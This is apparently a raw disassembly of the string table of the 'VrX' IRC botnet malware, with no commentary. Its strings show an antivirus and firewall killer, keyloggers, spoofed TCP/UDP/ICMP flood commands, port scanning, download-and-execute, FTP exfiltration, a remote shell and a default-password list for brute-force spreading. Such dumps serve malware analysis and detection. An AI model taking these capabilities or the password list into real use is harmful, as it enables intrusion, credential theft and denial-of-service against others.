4 a2003 db '2003',0 ; DATA XREF: sub_41AF2B+BAo ; ___:00429310o align 4 a2002 db '2002',0 ; DATA XREF: ___:0042930Co align 4 a2001 db '2001',0 ; DATA XREF: ___:00429308o align 4 a2000 db '2000',0 ; DATA XREF: ___:00429304o align 4 a1234567890 db '1234567890',0 ; DATA XREF: ___:00429300o align 10h a123456789 db '123456789',0 ; DATA XREF: ___:004292FCo align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292F8o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F4o a123456 db '123456',0 ; DATA XREF: ___:004292F0o align 4 a12345 db '12345',0 ; DATA XREF: ___:004292ECo align 10h a1234 db '1234',0 ; DATA XREF: ___:004292E8o align 4 a123 db '123',0 ; DATA XREF: ___:004292E4o a12 db '12',0 ; DATA XREF: ___:004292E0o align 10h a1: ; DATA XREF: ___:0040AFBAo ; ___:004292DCo unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292D8o aPwd db 'pwd',0 ; DATA XREF: ___:004292D4o aPass db 'pass',0 ; DATA XREF: ___:004292D0o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292CCo align 10h aPasswd db 'passwd',0 ; DATA XREF: ___:004292C8o align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C4o align 4 aPassword1 db 'password1',0 ; DATA XREF: ___:004292C0o align 10h aAdm db 'adm',0 ; DATA XREF: ___:004292BCo aDb2 db 'db2',0 ; DATA XREF: ___:00429464o aOracle db 'oracle',0 ; DATA XREF: ___:0042947Co align 10h aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429444o align 10h aDefault db 'default',0 ; DATA XREF: ___:00429334o aGuest_0 db 'guest',0 ; DATA XREF: ___:0042931Co align 10h aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:004294C4o aStudent db 'student',0 ; DATA XREF: ___:004294C0o aOwner db 'owner',0 align 4 aComputer db 'computer',0 align 10h aRoot db 'root',0 ; DATA XREF: ___:00429340o align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294C8o align 10h aAdmin db 'admin',0 ; DATA XREF: ___:004292B8o align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B4o align 10h aAdministrat db 'administrat',0 ; DATA XREF: ___:004292B0o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292ACo align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A8o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A4o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4299D8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401686o aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A0C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040163Bo aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A38 db 2Dh ; - ; DATA XREF: ___:0040160Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A78 db 2Dh ; - ; DATA XREF: ___:004015BDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A9C dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401582o dd 2E646574h, 0 dword_429AB8 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014ADo dword_429AC4 dd 255C7325h, 73h ; DATA XREF: ___:004013A7o dword_429ACC dd 73257325h, 0 ; DATA XREF: ___:0040132Bo ; sub_410080+EAo ... unk_429AD4 db 3 ; DATA XREF: sub_4017E7+F2o a81VrxConnected db '8,1-VrX- Connected to %s.',0 align 10h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40194F+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40194F+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D27o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D12o align 4 unk_429B38 db 3 ; DATA XREF: sub_401AC7+7CFEo a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B58 db 3 ; DATA XREF: sub_401AC7+7CE1o a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B78 db 3 ; DATA XREF: sub_401AC7+7C71o a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7C4Eo align 4 unk_429BCC db 3 ; DATA XREF: sub_401AC7+7C13o a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7C04o ; sub_401AC7+7C62o align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7BF0o align 4 asc_429C4C: ; DATA XREF: sub_401AC7+7BC0o unicode 0, <~>,0 unk_429C50 db 3 ; DATA XREF: sub_401AC7+7B6Fo a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0 align 4 unk_429C74 db 3 ; DATA XREF: sub_401AC7+7B07o a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0 align 4 unk_429C9C db 3 ; DATA XREF: sub_401AC7+7AC5o a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0 unk_429CBC db 3 ; DATA XREF: sub_401AC7+7AA7o a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_429CE0 db 3 ; DATA XREF: sub_401AC7+7A8Eo a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0 unk_429D00 db 3 ; DATA XREF: sub_401AC7+7A6Eo a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0 unk_429D20 db 3 ; DATA XREF: sub_401AC7+7A55o a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0 align 4 unk_429D38 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_40949Eo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_429D64 db 2Dh ; - ; DATA XREF: sub_401AC7+79D0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D88 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409451o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DB0 db 2Dh ; - ; DATA XREF: sub_401AC7+7980o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401AC7+7966o unk_429DDC db 3 ; DATA XREF: sub_401AC7+7865o a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429E00 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409317o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E24 db 2Dh ; - ; DATA XREF: sub_401AC7+7846o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429E44 db 3 ; DATA XREF: sub_401AC7+781Do a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E68 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4092C8o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 10h unk_429E90 db 2Dh ; - ; DATA XREF: sub_401AC7+77D3o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 10h unk_429EB0 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409260o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 10h unk_429EE0 db 2Dh ; - ; DATA XREF: sub_401AC7+778Fo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429F00 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409200o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F30 db 2Dh ; - ; DATA XREF: sub_401AC7+7732o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429F54 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401AC7+76F4o dd 27732527h, 2Eh unk_429F70 db 2Dh ; - ; DATA XREF: sub_401AC7+767Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F94 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401AC7+760Ao dd 0 unk_429FAC db 2Dh ; - ; DATA XREF: sub_401AC7+75E0o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_429FEC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401AC7+7571o dd 2Eh dword_42A004 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401AC7:loc_408F8Do dd 746E6573h, 2Eh unk_42A020 db 2Dh ; - ; DATA XREF: sub_401AC7+74BFo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 10h dword_42A040 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401AC7+7488o dd 732520h unk_42A058 db 2Dh ; - ; DATA XREF: sub_401AC7+747Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_42A084: ; DATA XREF: sub_401AC7+7462o ; sub_410080+FBo ... dw 0Ah unicode 0, <>,0 unk_42A088 db 3 ; DATA XREF: sub_401AC7+743Ao a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0 align 4 unk_42A0A8 db 3 ; DATA XREF: sub_401AC7+7426o a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401AC7:loc_408E7Co align 10h aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401AC7+73ABo align 10h aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401AC7+7333o align 4 aNormal_0 db 'normal',0 ; DATA XREF: sub_401AC7+72E6o align 4 aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401AC7+725Fo align 10h aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401AC7+7232o ; sub_401AC7+72DEo align 4 aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401AC7+722Do align 4 unk_42A17C db 3 ; DATA XREF: sub_401AC7+720Co a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0 align 4 unk_42A194 db 3 ; DATA XREF: sub_401AC7+71D1o a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0 align 4 unk_42A1C4 db 3 ; DATA XREF: sub_401AC7+71B5o a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0 align 4 unk_42A1E8 db 3 ; DATA XREF: sub_401AC7+7116o a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0 align 4 unk_42A204 db 3 ; DATA XREF: sub_401AC7+70D8o a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0 align 10h unk_42A220 db 3 ; DATA XREF: sub_401AC7+7082o a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0 align 4 dword_42A23C dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0 ; DATA XREF: sub_401AC7+7017o dword_42A250 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401AC7+6FDDo ; sub_401AC7+7A60o unk_42A25C db 3 ; DATA XREF: sub_401AC7+6FB1o a81VrxModeChang db '8,1-VrX- Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+6FA3o align 4 dword_42A284 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401AC7+6F7Ao dd 25203A29h, 73h dword_42A2A0 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401AC7+6F0Fo dd 203A2973h, 7325h dword_42A2BC dd 45444F4Dh, 732520h ; DATA XREF: sub_401AC7+6EBAo dword_42A2C4 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401AC7+6E88o dd 203A2973h, 7325h dword_42A2E0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401AC7+6E13o dword_42A2EC dd 0A0D7325h, 0 ; DATA XREF: sub_401AC7+6DE1o ; sub_401AC7+6E67o ... dword_42A2F4 dd 54524150h, 732520h ; DATA XREF: sub_401AC7+6DACo dword_42A2FC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401AC7+6D6Fo aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A338 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401AC7+6CFEo aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42A364 db 2Dh ; - ; DATA XREF: sub_401AC7+6CA1o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A3A0 db 2Dh ; - ; DATA XREF: sub_401AC7+6C2Co db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A3D4 db 3 ; DATA XREF: sub_401AC7+6BC6o a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0 align 4 unk_42A408 db 3 ; DATA XREF: sub_401AC7+6B89o a81VrxRepeatS db '8,1-VrX- Repeat: %s',0 align 10h dword_42A420 dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0 ; DATA XREF: sub_401AC7:loc_4085B7o dword_42A434 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401AC7+6AB0o ; sub_401AC7+6B63o ... dword_42A444 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401AC7:loc_408518o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A48C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401AC7+6A47o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A4C8 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401AC7+69D8o aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401AC7+6935o align 10h dword_42A500 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401AC7+68D6o dd 7325203Ah, 0 unk_42A51C db 2Dh ; - ; DATA XREF: sub_401AC7+68CBo db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 10h unk_42A540 db 2Dh ; - ; DATA XREF: sub_401AC7+6831o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A57C db 2Dh ; - ; DATA XREF: sub_401AC7+67BBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A5AC dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401AC7:loc_4081BFo ; sub_401AC7:loc_4091C2o unk_42A5B8 db 2Dh ; - ; DATA XREF: sub_401AC7+66E3o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A5DC db 2Dh ; - ; DATA XREF: sub_401AC7:loc_408188o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A614 db 2Dh ; - ; DATA XREF: sub_401AC7+66B7o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A64C db 2Dh ; - ; DATA XREF: sub_401AC7+6641o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A678 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401AC7+65CAo aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A6B4 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401AC7+655Bo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A6E4 db 2Dh ; - ; DATA XREF: sub_401AC7+64E2o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A71C db 2Dh ; - ; DATA XREF: sub_401AC7+646Ao db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A74C db 2Dh ; - ; DATA XREF: sub_401AC7+63E9o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A784 db 2Dh ; - ; DATA XREF: sub_401AC7+6371o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A7B4 db 2Dh ; - ; DATA XREF: sub_401AC7+6301o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A7EC db 2Dh ; - ; DATA XREF: sub_401AC7+6289o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A828 db 2Dh ; - ; DATA XREF: sub_401AC7+6219o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 dword_42A868 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401AC7+61AAo aDownloadingUrl db '- Downloading URL: %s to: %s.',0 align 4 unk_42A894 db 2Dh ; - ; DATA XREF: sub_401AC7+60DEo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A8D8 db 2Dh ; - ; DATA XREF: sub_401AC7+606Fo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A914 db 3 ; DATA XREF: sub_401AC7+5F75o a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401AC7+5EF1o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401AC7+5DF7o align 4 dword_42A96C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401AC7+5D69o ; sub_401AC7+7063o unk_42A978 db 2Dh ; - ; DATA XREF: sub_401AC7+5D0Ao db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A9B4 db 2Dh ; - ; DATA XREF: sub_401AC7+5C9Bo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42AA04 db 3 ; DATA XREF: sub_401AC7+5C04o ; sub_401AC7+5FE4o a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0 align 4 unk_42AA3C db 3 ; DATA XREF: sub_401AC7+5B95o a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second' db 's for %d minutes using %d threads.',0 align 4 unk_42AAA4 db 3 ; DATA XREF: sub_401AC7+5A1Fo a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0 align 4 unk_42AAD8 db 3 ; DATA XREF: sub_401AC7+59C2o a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0 align 4 unk_42AB0C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_407364o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AB3C db 2Dh ; - ; DATA XREF: sub_401AC7+5896o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401AC7+587Fo aSS_1 db '-s:%s',0 ; DATA XREF: sub_401AC7+5868o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401AC7+5848o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401AC7+5824o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401AC7+5813o align 4 unk_42ABAC db 2Dh ; - ; DATA XREF: sub_401AC7+57BAo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401AC7+5797o align 4 unk_42ABD4 db 3 ; DATA XREF: sub_401AC7+5761o a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0 unk_42AC10 db 2Dh ; - ; DATA XREF: sub_401AC7+5702o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AC48 db 2Dh ; - ; DATA XREF: sub_401AC7+5697o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h unk_42AC90 db 2Dh ; - ; DATA XREF: sub_401AC7+55E9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42ACC4 db 2Dh ; - ; DATA XREF: sub_401AC7+55B5o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42ACF8 db 2Dh ; - ; DATA XREF: sub_401AC7+5591o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 10h unk_42AD30 db 2Dh ; - ; DATA XREF: sub_401AC7+54EFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401AC7+54D2o align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401AC7+54BDo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADBC db 2Dh ; - ; DATA XREF: sub_401AC7+544Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_42AE04 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_406E6Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AE3C db 2Dh ; - ; DATA XREF: sub_401AC7+538Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AE74 db 2Dh ; - ; DATA XREF: sub_401AC7+5310o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401AC7+5300o align 10h aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401AC7+52F9o unk_42AEB8 db 2Dh ; - ; DATA XREF: sub_401AC7+5264o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_401AC7+5254o align 4 aAck db 'ack',0 ; DATA XREF: sub_401AC7+523Do aHcon db 'hcon',0 ; DATA XREF: sub_401AC7+51C9o align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401AC7+51B6o unk_42AF00 db 2Dh ; - ; DATA XREF: sub_401AC7+5167o db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401AC7+50F3o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401AC7+5008o align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401AC7+4FF1o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401AC7+4FDAo align 4 aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401AC7+4FB0o align 4 aVnchost db 'vnchost',0 ; DATA XREF: sub_401AC7+4F93o aP: ; DATA XREF: sub_401AC7+4F7Co ; ___:00438318o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401AC7+4F65o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401AC7+4F4Eo align 4 aNs db 'ns',0 ; DATA XREF: sub_401AC7+4F37o align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401AC7+4F20o aU: ; 